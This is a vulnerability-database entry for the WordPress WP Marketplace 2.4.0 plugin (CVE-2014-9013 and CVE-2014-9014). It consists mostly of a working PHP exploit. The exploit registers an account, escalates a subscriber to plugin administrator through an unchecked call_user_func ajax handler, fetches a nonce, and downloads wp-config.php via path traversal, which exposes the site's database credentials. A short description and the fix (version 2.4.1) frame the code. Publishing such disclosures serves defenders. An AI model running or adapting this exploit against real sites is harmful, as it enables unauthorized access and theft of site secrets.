Lucene search
K

Wordpress WP Marketplace 2.4.0 Arbitrary File Download Vulnerability

🗓️ 21 Mar 2015 00:00:00Reported by Kacper SzurekType 
zdt
 zdt
🔗 0day.today👁 21 Views

Wordpress WP Marketplace 2.4.0 File Download Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wordpress WP Marketplace 2.4.0 - Remote Code Execution (Add WP Admin) Vulnerability
27 Mar 201500:00
zdt
CNVD
WordPress WP Marketplace Remote Code Execution Vulnerability
12 Nov 201900:00
cnvd
CNVD
WordPress WP Marketplace Catalog Traversal Vulnerability
12 Nov 201900:00
cnvd
CVE
CVE-2014-9013
6 Nov 201920:34
cve
CVE
CVE-2014-9014
6 Nov 201920:34
cve
Cvelist
CVE-2014-9013
6 Nov 201920:34
cvelist
Cvelist
CVE-2014-9014
6 Nov 201920:34
cvelist
Exploit DB
WordPress Plugin Marketplace 2.4.0 - Arbitrary File Download
22 Mar 201500:00
exploitdb
EUVD
EUVD-2014-8842
7 Oct 202500:30
euvd
exploitpack
WordPress Plugin Marketplace 2.4.0 - Arbitrary File Download
22 Mar 201500:00
exploitpack
Rows per page
# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
# Date: 26-10-2014
# Software Link: https://wordpress.org/plugins/wpmarketplace/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9013 and CVE-2014-9014

1. Description

Anyone can run user defined function because of call_user_func.

File: wpmarketplace\libs\cart.php

function ajaxinit(){
if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
	if(function_exists($_POST['execute']))
		call_user_func($_POST['execute'],$_POST);
	else
		echo __("function not defined!","wpmarketplace");
	die();
	}
}

http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html

2. Proof of Concept

$file =  '../../../wp-config.php';
$url = 'http://wordpress-url/';
$user = 'userlogin';
$email = '[email protected]';
$pass = 'password';
$cookie = "/cookie.txt";

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

// Register
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'register_form' => 'register',
        'reg[user_login]' => $user,
        'reg[user_email]' => $email,
        'reg[user_pass]' => $pass
    ));
$content = curl_exec($ch);
if (!preg_match("/success/i", $content)) {
    die("Cannot register");
}
// Log in
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log%20In'
    ));
$content = curl_exec($ch);
if (!preg_match('/adminmenu/i', $content)) {
    die("Cannot login");
}
// Add subscriber as plugin admin
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'action' => 'wpmp_pp_ajax_call',
        'execute' => 'wpmp_save_settings',
        '_wpmp_settings[user_role][]' => 'subscriber'
    ));
$content = curl_exec($ch);
if (!preg_match('/Settings Saved Successfully/i', $content)) {
    die("Cannot set role");
}
// Request noonce
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'action' => 'wpmp_pp_ajax_call',
        'execute' => 'wpmp_front_add_product'
    ));
$content = curl_exec($ch);
preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
if (strlen($nonce[1]) < 2) {
    die("Cannot get nonce");
}
// Set file to download
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        '__product_wpmp' => $nonce[1],
        'post_type' => 'wpmarketplace',
        'id' => '123456',
        'wpmp_list[base_price]' => '0',
        'wpmp_list[file][]' => $file
    ));
$content = curl_exec($ch);
header("Location: ".$url."?wpmpfile=123456");

3. Solution:

Update to version 2.4.1

https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip

#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Mar 2015 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.13868
21